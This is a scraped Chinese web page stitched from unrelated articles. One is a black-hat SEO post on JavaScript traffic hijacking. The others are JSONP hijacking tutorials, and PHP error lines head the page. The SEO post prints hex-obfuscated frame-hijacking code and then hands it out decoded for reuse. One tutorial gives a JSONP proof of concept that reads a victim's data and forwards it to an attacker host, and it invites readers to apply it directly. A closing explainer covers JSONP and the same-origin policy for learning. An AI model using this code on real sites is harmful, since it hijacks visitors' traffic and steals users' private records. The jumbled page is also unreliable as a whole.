Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
說到黑帽什么的你們就非常的感興趣,那也沒辦法,畢竟黑帽神秘又厲害,一周就有效果。
有關黑帽的具體操作網上少之又少,基本都標題黨。
剛好最近碰到一個群友在吹他的快排,就拿他的來做個講解。
我看了他的網站,就只能看出JS劫持,其他我也不懂,就講講這個吧。
暫時他有三個網站,指數5000左右的詞都排首頁前5位,大家先看看數據(提醒:拿別人的網站來分析,切勿放上網址及網站信息,斷人財路等于殺人放火)
短時間內有這樣的數據,50%做了快排。
這樣看快排的幾率90%了
這里提醒下各位站長,快排來得快去得也快,這是鐵律。能給你幾個月的快感,百度一更新就難翻身,切記切記。
但我個人比較向往黑帽,因為厲害啊。
看了他的網站代碼,里面都有一個奇怪的JS代碼
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65 \x3d
\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']
("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65\x73\x65\x74 \x72\x6f\x77\x73\x3d\x27\x31\x30\x30\x25\x2c\x2a\x27
\x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x27\x4e\x4f\x27 \x62\x6f\x72\x64\x65\x72\x3d\x27\x30\x27
\x66\x72\x61\x6d\x65\x73\x70\x61\x63\x69\x6e\x67\x3d\x27\x30\x27\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']
("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65 \x6e\x61\x6d\x65\x3d\x27\x6d\x61\x69\x6e\x27
\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\u4f60\u7684\u7f51\u5740\x2e\x63\x6f\x6d\x27
\x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x79\x65\x73\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']
('\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x2f\x66\x72\x61\x6d\x65\x73\x65\x74\x3e\x22\x29\x3b');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
['\x77\x72\x69\x74\x65\x6c\x6e']("\x\x33\x63\x2f\x73\x63\x72\x69\x70\x74\x3e");
是不是很奇怪
其實這個是經過加密的JS劫持代碼,經常會出現在被黑的網站里面,劫持流量。
解密后發現都是指向一個網站,我們再看看那個網站的數據
能肯定這個估計就是主站了,手法就是通過快排一些網站上排位然后JS劫持流量到主站做排名。
那肯定你們會問,為什么這么大費周章不直接就去快排主站算了。
因為主站不能被K,而快排站無所謂,說明一下,百度蜘蛛現在是不能識別JS代碼的,一旦懲罰,主站不會被牽連,
而且這位朋友手法成熟,快排站與主站做的行業和關鍵詞都一致,一旦跳轉,主站的流量來源都會是行業關鍵詞,想法很好。
好了,點到為止,希望能給你們一點幫助,最后奉上JS代碼。
document.writeln("<script language=javascript>");
document.writeln("document.write(\"<frameset rows='100%,*' frameborder='NO' border='0' framespacing='0'>\");");
document.writeln("document.write(\"<frame name='main' src='http://www.你的網址.com' scrolling=yes>\");");
document.writeln('document.write("</frameset>");');
document.writeln("\x3c/script>");
熱點資訊
SEO基本功:站內優化的一些基本手段
SEO進階必修課:如何創建和管理高質量關鍵詞詞庫
春風十里,不如你
初步感受jsonp
1.1 jsonp
JSONP 全稱是 JSON with Padding ,是基于 JSON 格式的為解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 里 <script></script> 元素標簽,遠程調用 JSON 文件來實現數據傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數據( getUsers.JSON )。
說白了就是一種跨域的json數據傳輸的解決方案。
1.2 jsonp劫持攻擊
由于jsonp允許跨域請求,并且允許前端可以在<script></script>中直接解析返回的json形式的跨域數據,如果沒有做到合適的防御,攻擊者就可以做到jsonp劫持攻擊。
Jsonp劫持攻擊時csrf攻擊的一種。csrf攻擊分csrf讀和csrf寫,jsonp劫持是csrf讀的一種具體攻擊形式。通常攻擊者通過這種形式可以讀取到受害者的敏感數據。
可以看下wooyun鏡像,搜索jsonp可以查到大量案例。
來看一個簡單的例子感受一下。
http://www.anquan.us/static/bugs/wooyun-2013-019969.html
攻擊者在script標簽中直接解析了跨域傳輸的json敏感數據。alert出來了,當然你也可以發出去做log記錄,總之js都解析到了啥不能干?
1.3 jsonp防御
既然是csrf攻擊的一種,還是和csrf防御一樣唄。referer/csrf_token/驗證碼等機制。
2 本地yy測試
實踐出真知,動手本地yy測試一下jsonp攻擊流程。
2.1 理清思路
測試的思路如下。
1、js.html ————實際的劫持poc,實戰中放到黑客控制的vps上
2、api.php ————模擬有漏洞的jsonp接口,在有漏洞的web服務器上
3、logs.php ————黑客vps記錄劫持記錄的后端頁面
2.2 環境準備
api.php
模擬提供jsonp傳輸的敏感數據的接口。
接口訪問效果,輸出自己的cookie映射內容。
用js.html模擬攻擊者執行的js來劫持jsonp
這里轉發的ip也一樣,實戰是黑客自己的vps。
logs.php
2.3 整體走一個
打開js.html,直接本地打開,模擬的動作是受害者打開我vps上的csrfpoc
第一個ajax請求,模擬csrf向服務器請求返回賬號敏感信息。
第二個ajax請求,模擬vps的jspoc成功解析到敏感信息,并且做一個log記錄。(真實環境應該在vps上做log記錄,這里為了方便和漏洞服務器同一個ip)
服務端記錄。
2.4 延伸
如果返回的jsonp的json數組,不是一個json對象。
可以用下標直接取出。
3 實戰jsonp劫持
yy完了,看一個真實例子。
這個請求包jsonp請求,內容返回的是用戶的投訴記錄,無token,無驗證referer,該請求可以被劫持!
演示如下:
在登錄賬號(已經有投訴記錄的)的情況下
凡訪問加載這個poc的頁面的用戶,他的投訴記錄都會被我直接劫持,并且做記錄
4 劫持poc
分享下我的poc,大家遇到簡單的接口可以直接套用了。
Script直接解析json
<script>
function hack(json){
alert(JSON.stringify(json));//接下來可以做轉發記錄
}
</script>
<script src=”http://127.0.0.1:8081/js.php?callback=hack”></script>
$.getJSON
<script type=”text/javascript” src=” http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js “></script>
<script type=”text/javascript”>
$.getJSON(“http://vulweb.com/api/getMyFeedbackList?callback=?”, function(json){
var data=JSON.stringify(json);
//將data轉發記錄
$.get(“http://vps.com/json/logs.php?mylogs=”+data,function(res,status){
alert (‘ok’) ;
});
});
</script>
5 后記
本菜雞對前端了解也不深,也是最近接觸的jsonp劫持,文中錯誤難免,歡迎指正。
常見的csrf數據劫持方法還有很多,例如因為crossadmin.xml配置不對導致的flash跨域劫持。以后遇到可以記錄學習一下。
關于前端劫持還有很多玩法,本文只是做一個最簡單的jsonp-api數據劫持,烏云鏡像上有很多是高端組合玩法的案例。
幾乎所有編程語言都有解析JSON的庫,而在JavaScript中,我們可以直接使用JSON,因為JavaScript內置了JSON的解析。
把任何JavaScript對象變成JSON,就是把這個對象序列化成一個JSON格式的字符串,這樣才能夠通過網絡傳遞給其他計算機。
var Deutsh={
name: 'De4tsh',
age: 66,
height: 2.01,
grade: null,
skills: ['JavaScript', 'C', 'C++', 'Python'], // 數組
like: {"sports":"football","eat":"pizza"} // 對象
};
// 將 Deutsh 對象序列化為 JSON 格式字符串
var deu=JSON.stringify(Deutsh);
console.log(deu);
轉換得到的 JSON 格式的數據為:
{"name":"De4tsh","age":66,"height":2.01,"grade":null,"skills":["JavaScript","C","C++","Python"],"like":{"sports":"football","eat":"pizza"}}
CORS是推薦的方法,而不是JSONRequest。JSONP對于較舊的瀏覽器支持仍然有用,但考慮到安全隱患,除非您別無選擇,否則CORS是更好的選擇
JSONP是JSON with padding(填充式JSON或參數式JSON)
簡單來說,JSON的一種”使用模式”,可以讓當前網頁從別的域名(網站)那獲取資料,即跨域讀取數據,而且JSONP算是一種非官方的技術手段 ( 官方的有CORS(之前在 SSTI 注入時提到過) 和postMessage)
至于為什么跨域訪問別的域名的資源還要借助這種方式,原因在于有著:同源策略的限制:在Web瀏覽器中,允許某個網頁腳本訪問另一個網頁的數據,但前提是這兩個網頁必須有相同的URI、主機名和端口號,一旦兩個網站滿足上述條件,這兩個網站就被認定為具有相同來源。此策略可防止某個網頁上的惡意腳本通過該頁面的文檔對象模型訪問另一網頁上的敏感數據(比如說 cookie )值得注意的是同源策略僅適用于腳本,這意味著某網站可以通過相應的HTML標簽訪問不同來源網站上的圖像、CSS和動態加載腳本等資源。而跨站請求偽造就是利用同源策略不適用于HTML標簽的缺陷。
如上所述,JSONP正是利用了HTML中的<script>標簽中src(該屬性用于規定外部腳本的 URL)屬性不受同源策略約束來跨域獲取數據的
JSONP會動態的創建<script>標簽,然后通過其中的src屬性來跨域獲取數據
JSONP由兩部分組成
簡單來說整體流程為:
當我們訪問一個網站時,若該網站需要請求外部的資源,會通過動態建立一個帶有src屬性的<script>標簽,去訪問對應要請求資源網站的JSONP接口(請求時提供位于本端的回調函數名稱),請求該接口后會返回所提供回調函數的調用,與該函數所需要的數據,而該函數由當前請求端所定義請求的(開發者根據請求資源的類型來定義好該回調函數)
此處借用 菜鳥教程所提供一個JSONP接口來展示JSONP跨域請求的一個示例
jsonp.php
<?php
header('Content-type: application/json');
//獲取回調函數名
$jsoncallback=htmlspecialchars($_REQUEST ['jsoncallback']);
//json數據
$json_data='["customername1","customername2"]';
//輸出jsonp格式的數據
echo $jsoncallback . "(" . $json_data . ")";
?>
這個也就是我們要請求的不是同源的數據所在的域
https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction
(該接口為菜鳥教程提供,大家若要做實驗可直接使用)
說是客戶端其實比較容易誤解,說白了就是一個要請求上述域中資源的非同源的里另一個域名,此處我們通過本地起python -m http.server 8080來搭建一個建議的本地網站,這個網站也就是作為用戶的 你/我 要訪問的網站,該網站的HTML為:
demo.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 實例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html='<ul>';
for(var i=0; i < result.length; i++)
{
html +='<li>' + result[i] + '</li>';
}
html +='</ul>';
document.getElementById('divCustomers').innerHTML=html;
}
</script>
<script type="text/javascript" src="<https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction>"></script>
</body>
</html>
注意看客戶端的HTML代碼中已生成用于訪問本域之外資源的帶有src屬性的<script>標簽
上述simplehttp的IP:PORT為http://172.16.12.150:8080
作為用戶的我們訪問該網站后則會顯示:
http://172.16.12.150:8080/demo.html
可以看到請求到了位于不同域(https://www.runoob.com)的jsonp.php中的數據["customername1","customername2"],并且該數據還經過了位于http://172.16.12.150:8080HTML 中回調函數callbackFunction的處理后,返回到了用戶 “眼中”
所以此時的邏輯就是我們訪問了http://172.16.12.150:8080的網站,該網站需要獲取位于https://www.runoob.com中的數據(比如說本例子中的JSON數據),但由于這兩個網站處于不同域,所以無法直接通過javascript請求,所以通過<script>標簽的src屬性請求了https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction這個JSONP接口,至此或得到了JSON的數據,并通過本網站(http://172.16.12.150:8080)的回調函數,對或得到的數據進行了個性化的處理,最終展示給用戶
其實直接請求該JSONP接口也可以得到數據,但該數據是沒有經過本端回調函數處理的(而且還會被包在一個未定義的回調函數中)
由上面的描述就可以很容易的發現,若回調函數被控制,那么便可將請求到的數據通過該函數進行任意的處理
假設當前有兩個網站:
所以整體的流程就是:
至此便完成了一個JSONP的劫持
歸根結底,JSONP 可造成的危害并不是很大,因為其需要滿足的前提條件很多(比如:需要跨域、并且不能有token的校驗),這也就是造成其很難自己一個人 “挑起大梁”,還需要配合其他的漏洞,或是釣魚等
所以與其尋找挖該漏洞,不如將其用于蜜罐中
What is JSONP, and why was it created?
由淺入深理解JSONP并拓展
201-A20-同源策略及相關漏洞
JSONP 教程
淺談Ajax跨域及其JSONP簡單實現
W3Schools online HTML editor
申明:本文僅供技術交流,請自覺遵守網絡安全相關法律法規,切勿利用文章內的相關技術從事非法活動,如因此產生的一切不良后果與文章作者無關。
本文作者:Deutsh,原文來自FreeBuf.COM
*請認真填寫需求信息,我們會在24小時內與您取得聯系。